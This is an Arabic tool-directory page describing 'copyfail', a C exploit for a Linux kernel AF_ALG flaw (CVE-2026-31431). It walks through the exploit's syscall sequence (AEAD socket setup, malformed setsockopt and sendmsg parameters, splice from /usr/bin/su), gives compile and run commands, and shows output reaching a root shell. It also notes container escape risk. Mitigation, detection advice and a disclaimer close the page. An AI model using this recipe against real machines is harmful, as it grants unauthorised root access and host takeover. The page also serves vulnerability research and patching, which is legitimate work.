Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
copyfail — استغلال تصعيد الامتيازات المحلية مكتوب بلغة C لثغرة CVE-2026-31431، وهي ثغرة في نواة لينكس ضمن واجهة التشفير AF_ALG، توفّر وصولاً بصلاحيات الجذر عبر التلاعب بذاكرة التخزين المؤقت للصفحات. | Kitploit
أدوات/GitHubGitHub/polyakovavv/copyfail
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليماستغلال الملفات الثنائية
GitHubpolyakovavv/copyfail

copyfail

استغلال تصعيد الامتيازات المحلية مكتوب بلغة C لثغرة CVE-2026-31431، وهي ثغرة في نواة لينكس ضمن واجهة التشفير AF_ALG، توفّر وصولاً بصلاحيات الجذر عبر التلاعب بذاكرة التخزين المؤقت للصفحات.

عرض المستودع
2منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

نظرة عامة

Copy Fail (CVE-2026-31431) — ثغرة منطقية في نواة لينكس تسمح لمستخدم محلي غير مميز برفع صلاحياته إلى مستوى المستخدم الخارق (root). تنتمي الثغرة إلى فئة رفع الصلاحيات المحلي (Local Privilege Escalation - LPE)، ولا تتطلب شروط استغلال معقدة (مثل سباق الحالة أو تخمين عناوين الذاكرة) وتعمل "مباشرة" على معظم توزيعات لينكس الصادرة بعد عام 2017.

يحتوي هذا المستودع على نسخة منقولة من استغلال Python الأصلي إلى لغة C مع تعليقات مفصلة، مناسبة للترجمة الثابتة والاستخدام في البيئات البسيطة.


المحتويات

  • الثغرة
    • جوهر الثغرة
    • آلية الاستغلال
    • الأنظمة المتأثرة
  • الاستغلال
    • خصائص النسخة المنقولة إلى C
    • الترجمة
    • الاستخدام
  • كيف يعمل ذلك
    • تحليل خطوة بخطوة
    • لماذا يتغير مخزن الصفحات
  • معالجة الثغرة

الثغرة

جوهر الثغرة

تنشأ الثغرة بسبب خطأ منطقي في النظام الفرعي للتشفير في نواة لينكس، مرتبط بمعالجة AF_ALG (واجهة واجهة برمجة التشفير في النواة) وآلية مخزن الصفحات (page cache).

أُدخل الخطأ في عام 2017 عند إضافة تحسين أزال التخزين المؤقت الزائد عبر تنفيذ عمليات التشفير الكتلي AEAD (التشفير المصادق عليه مع البيانات المرتبطة) في المكان (in-place). بسبب المعالجة غير الصحيحة لحدود المخازن المؤقتة في خوارزمية authencesn (جزء من قالب التشفير AEAD)، يحدث كتابة 4 بايت خارج المخزن المؤقت المخصص، مما يؤدي إلى تلف هياكل إدارة مخزن الصفحات.

ونتيجة لذلك، يمكن للنواة كتابة البيانات مرة أخرى إلى مخزن صفحات الملف، حتى لو كان مفتوحًا للقراءة فقط (O_RDONLY).

آلية الاستغلال

  1. يفتح المستخدم غير المميز مقبس AF_ALG ويُهيئ خوارزمية AEAD authencesn(hmac(sha256),cbc(aes)).
  2. عبر setsockopt() يتم تعيين معاملات شاذة:
    • مفتاح بتنسيق خاص (التلاعب بمخازن النواة المؤقتة).
    • حجم علامة المصادقة = 4 بايت (بدلاً من 16-32 بايت الطبيعية لـ HMAC-SHA256).
  3. عبر sendmsg() مع رسائل التحكم يتم بدء عملية فك التشفير.
  4. استدعاء النظام splice() ينقل البيانات من الملف الهدف (المفتوح بـ O_RDONLY) إلى مقبس التشفير.
  5. بسبب الخطأ في authencesn، يتلف مخزن صفحات الملف، وتُكتب البيانات "المفكوك تشفيرها" مرة أخرى إلى المخزن.
  6. تنفذ النواة ملف setuid المعدل من مخزن الصفحات، مما يؤدي إلى تنفيذ كود بصلاحيات root.

الأنظمة المتأثرة

التوزيعات المعرضة للخطر (عند استخدام نوى مع تحميل وحدة algif_aead):

  • Ubuntu (جميع الإصدارات)
  • Debian (جميع الإصدارات)
  • RHEL / CentOS / Rocky / Alma Linux
  • SUSE / openSUSE
  • Fedora
  • Arch Linux
  • توزيعات أخرى مبنية على نوى معرضة للخطر

أهمية خاصة: في بيئات الحاويات (Docker, LXC, Kubernetes)، تكون العمليات داخل الحاوية قادرة افتراضيًا على الوصول إلى النظام الفرعي AF_ALG إذا كانت وحدة algif_aead محملة في نواة المضيف. وهذا يخلق خطر خرق عزل الحاوية والحصول على السيطرة على الجهاز المضيف.

التحقق من الثغرة:

root@kitploit:~
# التحقق مما إذا كانت وحدة algif_aead محملة
lsmod | grep algif

# التحقق من وجود AF_ALG في النواة
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)

الاستغلال

خصائص النسخة المنقولة إلى C

كان الاستغلال الأصلي مكتوبًا بلغة Python (حوالي 732 بايت). تتميز هذه النسخة المنقولة إلى C بالخصائص التالية:

  • الترجمة الثابتة — تعمل في البيئات البسيطة بدون Python.
  • الاستقلالية الكاملة — تتطلب فقط مكتبة C القياسية و libz.
  • تعليقات مفصلة باللغة العربية — كل خطوة من خطوات الاستغلال موثقة.
  • سلوك مطابق — استدعاءات النظام تطابق تمامًا نسخة Python (تم التحقق منها عبر strace).
  • recv() غير محظور — يمنع التعليق، مكررًا سلوك try/except من Python.

الاختلافات الرئيسية عن نسخة Python التي تم اكتشافها أثناء النقل:

الترجمة

root@kitploit:~
# يتطلب libz (zlib1g-dev أو zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2

الاستخدام

root@kitploit:~
./copyfail

عند نجاح الاستغلال، سيتم تشغيل نسخة معدلة من /usr/bin/su توفر وصول root بدون طلب كلمة مرور.

المخرجات المتوقعة:

root@kitploit:~
================================================================
  CVE-2026-31431 'Copy Fail' Exploit
================================================================

[+] /usr/bin/su مفتوح
[+] 40 قطعة
[*] 40/40 ناجح

# id
uid=0(root) gid=0(root) groups=0(root)

كيف يعمل ذلك

تحليل خطوة بخطوة

فيما يلي تحليل مفصل لكل خطوة من خطوات الاستغلال مع الإشارة إلى استدعاءات النظام المقابلة:

الخطوة 1: إنشاء مقبس AF_ALG

root@kitploit:~
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead", 
     salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);

يتم إنشاء مقبس للوصول إلى واجهة برمجة التشفير في النواة. خوارزمية authencesn (التشفير المصادق عليه مع أرقام تسلسلية) هي خوارزمية AEAD مركبة تستخدم AES-CBC للتشفير و HMAC-SHA256 للمصادقة.

الخطوة 2: تعيين المعاملات المعرضة للخطر

root@kitploit:~
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
  • المفتاح: 40 بايت بتنسيق خاص، يتلاعب بالمخازن المؤقتة الداخلية للنواة.
  • حجم علامة المصادقة: 4 بايت. القيمة الطبيعية لـ HMAC-SHA256 هي 16-32 بايت. القيمة الصغيرة بشكل شاذ تؤدي إلى تجاوز سعة المخزن المؤقت في النواة.

الخطوة 3: تهيئة عملية فك التشفير

root@kitploit:~
accept(sock, NULL, NULL);  // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data, 
        cmsg=[(SOL_ALG, 3, 4 أصفار),        // ALG_SET_OP = DECRYPT
              (SOL_ALG, 2, 0x10+19 صفرًا),  // ALG_SET_IV
              (SOL_ALG, 4, 0x08+3 أصفار)]},  // ALG_SET_AEAD_ASSOCLEN
        MSG_MORE);

يتم إنشاء اتصال للعملية. عبر sendmsg() مع رسائل التحكم (CMSG) يتم تعيين المعاملات:

  • العملية: فك التشفير (ALG_OP_DECRYPT = 0).
  • IV: 20 بايت (بدلاً من 16 الطبيعية لـ AES).
  • البيانات المرتبطة: 8 بايت (بدون نقل بيانات فعلي).

كل هذه الشذوذات تخلق تناقضات في إدارة ذاكرة النواة.

الخطوة 4: نقل البيانات عبر splice()

root@kitploit:~
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);

splice() — استدعاء نظام لنقل البيانات بين واصفات الملفات بدون نسخ عبر مساحة المستخدم. يتم نقل البيانات على مستوى النواة عبر آلية pipe.

  1. splice(target_fd -> pipe): تنتقل البيانات من الملف الهدف (/usr/bin/su) إلى pipe.
  2. splice(pipe -> conn_sock): تنتقل البيانات من pipe إلى مقبس التشفير كـ"نص مشفر".

النقطة الأساسية: في Python (وفي هذه النسخة المنقولة)، يتم تمرير الإزاحة للـ pipe كـ NULL، مما يسمح للنواة بإدارة الموضع تلقائيًا.

الخطوة 5: الإنهاء وتجاهل الخطأ

root@kitploit:~
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);

استدعاء recv() يجبر النواة على إكمال عملية التشفير. في الوضع الطبيعي، ستعود هنا البيانات المفكوك تشفيرها، ولكن بسبب المعاملات الشاذة يعود خطأ EBADMSG (Python) أو EAGAIN (C مع O_NONBLOCK). يتم تجاهل الخطأ — تلف مخزن الصفحات حدث بالفعل في مرحلة splice().

لماذا يتغير مخزن الصفحات

مخزن الصفحات (page cache) هو مخزن مؤقت لمحتوى الملفات في الذاكرة العشوائية. عندما يفتح عملية ملفًا عبر O_RDONLY، تسمح النواة بالقراءة فقط من هذا المخزن. ومع ذلك، تسمح الثغرة بتجاوز هذا القيد:

  1. عدم تطابق أحجام المخازن المؤقتة: authsize=4 بدلاً من 16-32 ينشئ مخازن مؤقتة بحجم غير صحيح.
  2. تجاوز سعة المخزن المؤقت: عند "فك التشفير"، تُكتب البيانات خارج المخزن المؤقت المخصص.
  3. تلف عداد المراجع: يؤثر التجاوز على هياكل إدارة الصفحات (page reference count).
  4. الكتابة في المخزن: النواة، معتقدة أن الصفحة حرة، تكتب فيها البيانات "المفكوك تشفيرها".
  5. تجاهل O_RDONLY: يحدث فحص صلاحيات الوصول على مستوى VFS عند استدعاء write()، لكن splice() يعمل على مستوى مخزن الصفحات مباشرة، متجاوزًا هذه الفحوصات.

تحدث التغييرات فقط في الذاكرة العشوائية، وليس على القرص. وهذا يجعل الهجوم صعب الاكتشاف بواسطة أدوات التحقق من السلامة القياسية. بعد إعادة التشغيل أو مسح مخزن الصفحات، تختفي آثار الهجوم.


معالجة الثغرة

الطريقة الأساسية

تحديث نواة لينكس إلى إصدار يحتوي على التصحيح.

إجراءات مؤقتة

تعطيل وحدة algif_aead:

root@kitploit:~
# منع تحميل الوحدة
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf

# إلغاء تحميل الوحدة (إذا كانت محملة)
sudo rmmod algif_aead

توصيات إضافية:

  • تقييد الوصول المحلي للمستخدمين.
  • استخدام مراقبة سلامة النواة والنظام.
  • تطبيق مبدأ الامتيازات الأقل.
  • في بيئات الحاويات، منع الوصول إلى AF_ALG عبر ملفات تعريف seccomp.

هل يتغير ملف /usr/bin/su على القرص؟

لا. تحدث التغييرات فقط في مخزن الصفحات (الذاكرة العشوائية). يبقى محتوى الملف على القرص دون تغيير. بعد إعادة تشغيل النظام، يتم مسح مخزن الصفحات ويعود الملف إلى حالته الأصلية.

هل يمكن اكتشاف الاستغلال؟

الاكتشاف ممكن عبر:

  • مراقبة استدعاءات النظام (auditd, strace).
  • تحليل الشذوذ في استخدام مقابس AF_ALG.
  • التحقق من سلامة الملفات في الذاكرة (وليس على القرص).

أدوات التحقق من السلامة القياسية (AIDE, Tripwire) لن تكتشف التغييرات، لأن الملف على القرص يبقى دون تغيير.

إخلاء المسؤولية

يُقدم هذا الكود حصريًا للأغراض التعليمية والبحثية. لا يتحمل المؤلف أي مسؤولية عن أي استخدام لهذا الكود في أغراض غير قانونية. استخدام الاستغلال دون إذن صريح من مالك النظام غير قانوني وقد يؤدي إلى مسؤولية جنائية.

استخدم فقط على الأنظمة التي تملكها، أو على الأنظمة التي لديك فيها إذن كتابي صريح لاختبار الأمان.

تنزيل الأداة
المكوّنالوصف
نواة لينكسجميع الإصدارات منذ 2017 حتى لحظة تضمين التصحيح
النظام الفرعيcrypto (وحدة algif_aead)
الواجهةAF_ALG — وصول المستخدم إلى واجهة التشفير في النواة
استدعاء النظامsplice() بالاقتران مع مقابس AF_ALG
المعاملPythonC (هذه النسخة)
علم sendmsg()MSG_MOREMSG_MORE
علم splice()00
الإزاحة في pipeNULLNULL
حجم المفتاح40 بايت40 بايت
cmsg_len20/36/2020/36/20 (ثابت)
إنشاء pipepipe2(fds, O_CLOEXEC)pipe2(fds, O_CLOEXEC)
recv()محظور مع try/exceptغير محظور (O_NONBLOCK)